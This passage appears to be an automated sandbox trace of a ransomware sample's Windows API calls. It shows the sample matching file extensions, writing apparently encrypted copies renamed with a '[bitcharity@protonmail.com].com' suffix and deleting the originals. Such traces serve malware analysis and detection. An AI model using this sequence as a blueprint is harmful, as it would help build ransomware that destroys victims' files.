lpString2=".WMF") returned 1 [0297.741] lstrlenW (lpString=".rar") returned 4 [0297.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.741] lstrlenW (lpString=".bz2") returned 4 [0297.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.742] lstrlenW (lpString=".7z") returned 3 [0297.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.742] lstrlenW (lpString=".dbf") returned 4 [0297.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.742] lstrlenW (lpString=".1cd") returned 4 [0297.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0297.742] lstrlenW (lpString=".jpg") returned 4 [0297.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.742] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.742] lstrlenW (lpString="FD00369_.WMF") returned 12 [0297.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.742] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=8552) returned 1 [0297.742] CloseHandle (hObject=0x10cc) returned 1 [0297.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0297.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.743] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.743] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0297.743] GetLastError () returned 0x0 [0297.743] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x2168, lpOverlapped=0x0) returned 1 [0297.814] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x2170, lpOverlapped=0x0) returned 1 [0297.815] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.815] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.815] SetEndOfFile (hFile=0x10ac) returned 1 [0297.816] CloseHandle (hObject=0x10ac) returned 1 [0297.816] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.816] SetEndOfFile (hFile=0x10cc) returned 1 [0297.816] CloseHandle (hObject=0x10cc) returned 1 [0297.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0297.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.821] lstrlenW (lpString=".doc") returned 4 [0297.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString=".docx") returned 5 [0297.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.821] lstrlenW (lpString=".pdf") returned 4 [0297.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString=".xls") returned 4 [0297.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.821] lstrlenW (lpString=".xlsx") returned 5 [0297.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.821] lstrlenW (lpString=".ppt") returned 4 [0297.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.821] lstrlenW (lpString=".zip") returned 4 [0297.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.821] lstrlenW (lpString=".rar") returned 4 [0297.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString=".bz2") returned 4 [0297.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString=".7z") returned 3 [0297.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.821] lstrlenW (lpString=".dbf") returned 4 [0297.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.821] lstrlenW (lpString=".1cd") returned 4 [0297.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.821] lstrlenW (lpString=".jpg") returned 4 [0297.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.822] lstrlenW (lpString=".doc") returned 4 [0297.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString=".docx") returned 5 [0297.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.822] lstrlenW (lpString=".pdf") returned 4 [0297.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString=".xls") returned 4 [0297.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.822] lstrlenW (lpString=".xlsx") returned 5 [0297.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.822] lstrlenW (lpString=".ppt") returned 4 [0297.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.822] lstrlenW (lpString=".zip") returned 4 [0297.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.822] lstrlenW (lpString=".rar") returned 4 [0297.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString=".bz2") returned 4 [0297.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString=".7z") returned 3 [0297.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.822] lstrlenW (lpString=".dbf") returned 4 [0297.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.822] lstrlenW (lpString=".1cd") returned 4 [0297.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0297.822] lstrlenW (lpString=".jpg") returned 4 [0297.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.823] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.823] lstrlenW (lpString="FD00397_.WMF") returned 12 [0297.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.830] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=10816) returned 1 [0297.831] CloseHandle (hObject=0x10c0) returned 1 [0297.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0297.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.835] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.836] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0297.842] GetLastError () returned 0x0 [0297.842] ReadFile (in: hFile=0x109c, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x2a40, lpOverlapped=0x0) returned 1 [0297.924] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x2a50, lpOverlapped=0x0) returned 1 [0297.925] ReadFile (in: hFile=0x109c, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.925] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.925] SetEndOfFile (hFile=0x10ac) returned 1 [0297.925] CloseHandle (hObject=0x10ac) returned 1 [0297.925] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.925] SetEndOfFile (hFile=0x109c) returned 1 [0297.926] CloseHandle (hObject=0x109c) returned 1 [0297.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0297.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.926] lstrlenW (lpString=".doc") returned 4 [0297.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.926] lstrlenW (lpString=".docx") returned 5 [0297.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.926] lstrlenW (lpString=".pdf") returned 4 [0297.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString=".xls") returned 4 [0297.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.927] lstrlenW (lpString=".xlsx") returned 5 [0297.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.927] lstrlenW (lpString=".ppt") returned 4 [0297.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.927] lstrlenW (lpString=".zip") returned 4 [0297.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.927] lstrlenW (lpString=".rar") returned 4 [0297.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString=".bz2") returned 4 [0297.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString=".7z") returned 3 [0297.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.927] lstrlenW (lpString=".dbf") returned 4 [0297.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.927] lstrlenW (lpString=".1cd") returned 4 [0297.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.927] lstrlenW (lpString=".jpg") returned 4 [0297.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.927] lstrlenW (lpString=".doc") returned 4 [0297.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.927] lstrlenW (lpString=".docx") returned 5 [0297.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.928] lstrlenW (lpString=".pdf") returned 4 [0297.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.928] lstrlenW (lpString=".xls") returned 4 [0297.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.928] lstrlenW (lpString=".xlsx") returned 5 [0297.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.928] lstrlenW (lpString=".ppt") returned 4 [0297.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.928] lstrlenW (lpString=".zip") returned 4 [0297.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.928] lstrlenW (lpString=".rar") returned 4 [0297.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.928] lstrlenW (lpString=".bz2") returned 4 [0297.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.928] lstrlenW (lpString=".7z") returned 3 [0297.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.928] lstrlenW (lpString=".dbf") returned 4 [0297.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.928] lstrlenW (lpString=".1cd") returned 4 [0297.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0297.928] lstrlenW (lpString=".jpg") returned 4 [0297.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.929] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.929] lstrlenW (lpString="FD00428_.WMF") returned 12 [0297.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.946] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=4796) returned 1 [0297.946] CloseHandle (hObject=0x10b8) returned 1 [0297.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0297.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.946] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.947] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.954] GetLastError () returned 0x0 [0297.954] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0298.030] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0298.031] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.031] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.031] SetEndOfFile (hFile=0x10b0) returned 1 [0298.031] CloseHandle (hObject=0x10b0) returned 1 [0298.031] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.031] SetEndOfFile (hFile=0x10b8) returned 1 [0298.032] CloseHandle (hObject=0x10b8) returned 1 [0298.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0298.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.032] lstrlenW (lpString=".doc") returned 4 [0298.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.032] lstrlenW (lpString=".docx") returned 5 [0298.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.032] lstrlenW (lpString=".pdf") returned 4 [0298.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.032] lstrlenW (lpString=".xls") returned 4 [0298.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.032] lstrlenW (lpString=".xlsx") returned 5 [0298.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.032] lstrlenW (lpString=".ppt") returned 4 [0298.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString=".zip") returned 4 [0298.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.033] lstrlenW (lpString=".rar") returned 4 [0298.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString=".bz2") returned 4 [0298.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString=".7z") returned 3 [0298.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString=".dbf") returned 4 [0298.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString=".1cd") returned 4 [0298.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString=".jpg") returned 4 [0298.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString=".doc") returned 4 [0298.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString=".docx") returned 5 [0298.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.033] lstrlenW (lpString=".pdf") returned 4 [0298.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString=".xls") returned 4 [0298.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.033] lstrlenW (lpString=".xlsx") returned 5 [0298.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.033] lstrlenW (lpString=".ppt") returned 4 [0298.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.033] lstrlenW (lpString=".zip") returned 4 [0298.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.033] lstrlenW (lpString=".rar") returned 4 [0298.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.034] lstrlenW (lpString=".bz2") returned 4 [0298.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.034] 